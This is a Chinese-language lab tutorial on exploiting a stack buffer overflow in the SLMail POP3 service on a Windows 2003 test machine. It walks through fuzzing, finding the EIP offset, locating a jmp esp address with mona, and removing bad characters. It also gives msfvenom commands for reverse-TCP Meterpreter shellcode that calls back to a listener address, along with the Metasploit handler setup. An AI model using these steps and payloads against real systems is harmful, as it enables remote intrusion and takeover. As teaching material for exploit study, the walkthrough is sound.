簡單的緩沖區溢出
作者:Joe
二進制,計算機才可以理解的低級語言,簡單來說它是一種信號,用電信號為例,0就是斷電,而1就是有電,這樣子010101有規律的閃就是我們的二進制了。看到這裏你應該會想,都9102年了,怎麽可能還有人在用二進制寫程序,of course,01帶來的不便真的太多了(詳情請見我的一篇匯編基礎文章)首先是
1、 修改太麻煩,排錯不容易
2、 代碼量太多,工作太復雜
3、 容易出錯
所以在二進制的基礎上,又有了匯編語言,匯編語言是直接對cpu進行操作的一種語言,它主要是用匯編指令。所以我們講的既然跟二進制有關,那肯定會有匯編的出現。
在匯編語言上的是高級語言,類似吃、c/c++、java等的語言,高級語言,簡單來說就是可以被人理解的語言,我們用高級語言寫程序也叫編程。在
C的工作原理是這樣子的
C -> 匯編(c先翻譯為匯編)-> 二進制(pe文件,也就是exe。可以直接執行的程序)
C文件也被我們叫源文件,舉個例子:生產線,c文件是原料,匯編類似於加工,二進制就是我們要的成品了。
也可以這麽說,如果有了c文件,我們可以直接審核,不用去逆向出匯編代碼。
如何解釋c和匯編的關系呢
比如下面這段c語言代碼
{
Int a = 10;
Int b = a;
C = a + b;
}
翻譯成匯編代碼可能是這樣子的
Mov eax,10 //把數值10給eax
Mov edx,eax //把
Add eax,edx //把edx和eax相加
這就是匯編和c的關系。這裏就不在詳細解釋匯編和c。相關基礎自己去閱讀文章即可
P.s:不要問我為什麽沒有二進制,我去哪裏找一段01給你們看。
接下來是我們要用的工具:
調試器,我用的是immuintydebugger
關於環境和下載所需的東西我會在後面給出
簡單的講述緩沖區溢出:
緩沖區溢出(buffer overflow),是針對程序設計缺陷,向程序輸入緩沖區寫入使之溢出的內容(通常是超過緩沖區能保存的最大數據量的數據),從而破壞程序運行、趁著中斷之際並獲取程序乃至系統的控制權
那麽本期我們就嘗試利用slmail的漏洞來
環境搭建:windows 2003 一臺
Kali一臺
在window2003安裝debug用於調試程序
然後需要一個叫mona的腳本,可以在GitHub找到
在這裏扯一下系統裏面的一些內存防禦機制
1、 aslr:軟件重啟會更改基地址(一般的緩沖區溢出漏洞都是利用jmp等指令轉到shellcode,所以我們需要指令的實際地址,但是有了aslr之後,每次的地址都不一樣,這就造成了難以定位指令的實際地址而無法構造exp)
2、 dep 開啟了dep後,數據頁無法執行命令,也就是說,即使跳轉到shellcode的地址,你也無法執行shellcode返回shell
我們在windows2003裏面開啟debug調試進程,使用attache選項
快捷鍵是 ctrl+F1
可以看到這裏有個為slmail的進程,我們單擊,然後點attach
我們按兩下f9開始運行!
程序運行後在kali用nc連接slmail開放的110端口。
我們已經成功的連接上了110端口,並且看到上面開放的服務,現在我們可以創建一個賬號
我們測試一下溢出點
先用python生成較多的無用字符用來測試
-c 是直接運行python的語句
我們復制一下
我們在添加到shell裏面,然後回車
我們發現已經沒反應了
我們切換到windows2003看看
Ebp已經變成61616161,說明我們成功讓程序溢出,現在程序處於一個崩潰狀態
我們需要去“服務”選項裏面重啟pop3服務
現在我們知道溢出點在哪裏了,我們可以用msf的兩個工具找出準確的溢出數值,填充的無用字符多一個少一個都可以導致攻擊失敗。
工具在:/usr/share/Metasploit-framework/tools/exploit 目錄裏面
分別是 pattern_create.rb和pattern_offset.rb這兩個文件
我們先用create生成字符串,用來定位精準溢出字符。
我們生成比較多的字符串
./pattern_cerate -l 字符的數量,這裏我是輸入了4000個
我們可以寫個python腳本測試一下用socket庫簡單的測試
執行python腳本後就會開始發送我們的buf
發送完畢,我們看看debug的反應
這裏已經填成了我們發送的buf
我們把eip的地址給記一下
然後在命令行執行./pattern_offset -q eip的地址
然後我們得到了精準的數值
我們看到是2606,也就是說2606後面的4個內存單元就是eip
有了eip,我們就可以操縱eip讓cpu執行我們的shellcode,執行shellcode的方法有多種,直接設置eip為shellcode所在的地址,或者利用jmp指令去跳轉到shellcode的地方並執行,那麽第一種呢,如果環境變化了,地址不同,或者說是有差異,那麽這條地址可能就沒有用了,所以我們可以選擇第二種,jmp 指令,他可以克服這些困難。
那麽廢話不多說,這裏我們就要用到一個神器了,也就是mona.py
他可以幫助我們找出所要的指令,還可以列出是否有內存保護機制
接下來我們講講,剛才所提到的jmp esp的命令,我們用mona腳本列出所有的模塊
這裏是列出的模塊
命令是 !mona modules
我們在模塊中,找一些沒有開啟防護的,篩選後,我們暫定這兩個
Openc32.dll和slmfc.Dll
我們可以用find參數和-m參數
Find,也就是尋找,我們可以在裏面找到需要的指令,-m,也就是指定我們篩選出的dll
!mona find -s \xff\xe4 -m openc32.dll
Ffe4為jmp esp的指令,為什麽要選擇jmp esp呢?
那是因為我們的生成的shellcode一般在300個字節,而esp可以容納400個字節
所以用esp再合適不過了。
我們選擇第一個,然後雙擊,
點擊m
可以看到有讀和執行的權限
所以我們可以利用這個dll來實現跳轉執行!
我們設置個斷點來證實我們的猜想
註:第一個選項
這個時候該找的都找了,我們可以開始編寫腳本來測試猜想了。
記住下斷點的地址,前面我們說了,2606個字節後面就是eip了,所以我們要把斷點的地址填入到eip,讓它去跳轉到esp寄存器!
因為匯編語言的地址加載和我們所看到的不一樣,所以要調換一下位置。
所以腳本裏面的地址為 \xe3\x41\x4b\x5f
準備好就保存,然後開始。
已經跳轉到我們的斷點,程序也停止了運行。我們按f7單步調試!
可以看到esp裏面填充了我剛才所寫的test test
也就是說我們可以利用它執行shellcode,我們用msf生成一段shellcode
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.111 -f python
生成一段shellcode。然後我們修改exp
修改完我們測試一下,發現雖然溢出了,但是沒有shell返回,那麽這是怎麽回事呢。
其實在內存中有個叫badchar,也就是壞字符的東西,他可以阻礙shellcode的運行,比如\x00 這個會停止shellcode運行。我們可以測試一下來找到badchar
我們把所有字符,寫入到exp裏面進行測試。
修改完就開始運行。
最後測出來的壞字符為 00 0a 0d
現在重新生成shellcode。
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.111 -f python -b \x00\x0a\x0d
我們把shellcode復制進exp裏面。
開啟msf監聽
Use exploit/multi/handler
Set payload windows/meterprter/reverse_tcp
Set lhost 192.168.2.111
Run
腳本裏記得填充8個nop,要不然shellcode會被覆蓋不能執行。
我們成功得到了一個shell。
本次實驗到此結束。
簡單的緩沖區溢出